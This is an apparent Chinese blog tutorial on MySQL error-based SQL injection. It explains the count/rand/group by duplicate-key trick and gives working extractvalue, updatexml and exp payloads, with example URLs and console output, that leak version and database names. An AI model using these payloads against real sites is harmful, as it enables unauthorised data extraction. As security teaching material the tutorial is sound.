Web安全之SQL注入漏洞学习(五)-报错注入

报错注入主要是利用MySQL本身的逻辑漏洞,例如BigInt大数溢出。

MySQL报错注入分类

  • BigInt数据类型溢出

  • Xpath语法错误

  • count+rand+group by重复报错

  • 空间数据类型函数错误

rand函数说明

rand(n)函数返回一个随机浮点数v,返回范围是0<=v<1,n是可选参数,如果提供则会设定n为一个生成随机数的种子。

如果传递的参数n是一样的,则生成的随机数也是一致的。

rand函数在每一次where语句条件判断时都会重新执行,当使用group by语句对rand函数计算的列进行分组时就就会触发报错,因为通过rand计算后不是一个常量但是又和group by进行联合调用时就有可能出现主键冲突报错。

函数验证

##rand函数在不传递参数时返回数据是随机的
mysql> select rand() from test;                
+--------------------+
| rand()             |
+--------------------+
| 0.4824731373064901 |
| 0.4225388080091577 |
| 0.6652746588599632 |
+--------------------+
3 rows in set (0.00 sec)
​
mysql> select rand() from test;
+---------------------+
| rand()              |
+---------------------+
| 0.05875690100598792 |
| 0.29796055918369496 |
| 0.31353212363415595 |
+---------------------+
3 rows in set (0.00 sec)
​
mysql> select rand() from test;
+---------------------+
| rand()              |
+---------------------+
|    0.67377897135334 |
|  0.4282985165978768 |
| 0.12015569966300922 |
+---------------------+
3 rows in set (0.00 sec)
​
mysql> 
##当传递一个参数作为种子产生随机数时,重复执行产生的随机数是一致的
mysql> select rand(0) from test;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
​
mysql> select rand(0) from test;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
​
mysql> select rand(0) from test;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)

floor函数说明

floor(x)函数返回不大于x的最大整数。

##floor函数返回随机数的整数
mysql> select floor(rand()*2) from test;  
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               0 |
|               0 |
+-----------------+
3 rows in set (0.00 sec)
​
mysql> select floor(rand()*2) from test;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               1 |
|               1 |
+-----------------+
3 rows in set (0.00 sec)
​
mysql> select floor(rand()*2) from test;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
|               0 |
|               1 |
+-----------------+
3 rows in set (0.00 sec)
##如果rand函数传递参数则多次调用生成的随机数是相同的。
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
+------------------+
3 rows in set (0.00 sec)
​
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
+------------------+
3 rows in set (0.00 sec)
​
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
+------------------+
3 rows in set (0.00 sec)

count+rand+group by报错注入说明

select count(*),floor(rand(0)*2) as x from test group by x;
mysql> select *from test;
+------+-------+
| id   | name  |
+------+-------+
|    1 | test1 |
|    0 | test2 |
|    1 | test3 |
|    1 | test4 |
+------+-------+
mysql> select floor(rand(0)*2) as x from test;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
+---+
​
mysql> select count(*),floor(rand(0)*2) as x from test group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

报错原理解析

语句使用count+gruop by进行分组统计时是会新建一张虚拟表,首先查询虚拟表是否存在主键为0的数据,第一次插入数据肯定是不存在的,执行插入由于插入时rand函数会重新计算此时实际插入的主键是1,第二次查询主键1数据是否存在时,查询为存在则直接+1,第三次还是查询主键1,主键一存在执行插入,插入时再次计算主键变为0,此时插入就会报Duplicate entry主键冲突错误。

如下所示,rand(0)报错和rand(3)不报错

mysql> select floor(rand(3)*2) from test;                      
+------------------+
| floor(rand(3)*2) |
+------------------+
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
+------------------+
5 rows in set (0.00 sec)
​
mysql> select floor(rand(0)*2) from test;  
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
5 rows in set (0.00 sec)
​
mysql> select count(*),floor(rand(3)*2) x from test group by x;
+----------+---+
| count(*) | x |
+----------+---+
|        4 | 0 |
|        1 | 1 |
+----------+---+
2 rows in set (0.00 sec)
​
mysql> select count(*),floor(rand(0)*2) x from test group by x; 
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> 

extractvalue函数报错注入说明

EXTRACTVALUE (XML_document, XPath_string):从目标XML中返回包含所查询值的字符串。XML_document是String格式,为XML文档对象的名称XPath_string (Xpath格式的字符串)返回结果为连接参数产生的字符串。

说明:extractvalue函数中如果没有按要求传入Xpath格式的字符串,函数就会报错,报错时MySQL会先将select @@version替换成具体的值从而爆出数据库的名称。

注入playload为:0 and extractvalue(1,concat(0x7e,(select @@version)))

http://test.com/get?id='x' and extractvalue(1,concat(0x7e,(select @@version)))

mysql> select *from test where id =0 and extractvalue(1,concat(0x7e,(select @@version)));  
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47-0ubuntu0.14.04.1'
mysql> 

updatexml函数报错注入说明

UPDATEXML (XML_document, XPath_string, new_value)函数XML_document是String格式,为XML文档对象的名称,文中为Doc XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值说明:updatexml的第二个参数需要Xpath格式的字符串,现在传入concat()函数为字符串连接函数不符合规则,但是MySQL会先将select @@version表达式替换成具体的值,从而爆出数据库的名称。

注入playload为: 'updatexml(1,concat(0x7e,(select @@version)),1) --

http://test.com/get?id='x' and updatexml(1,concat(0x7e,(select @@version)),1)

mysql> select *from test where id =0 and updatexml(1,concat(0x7e,(select @@version)),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47-0ubuntu0.14.04.1'
mysql> 

exp函数报错注入说明

注入playload为:1 and exp(~(select *from (select database())x)) --

说明:~符号为取反,当一个输入取反后悔变成一个非常大的负数就会导致exp函数计算溢出错误。在执行执行语句是MySQL会先将database()表达式替换成具体的值,从而爆出数据库的名称。

http://test.com/get?id='x' and exp(~(select *from (select database())x))

mysql> select *from test where id =1 and  exp(~(select *from (select database())x));    
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'bWAPP' from dual)))'
mysql> 

欢迎大家关注我的订阅号,会定期分享一些关于测试相关的文章,有问题也欢迎一起讨论学习!
在这里插入图片描述

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值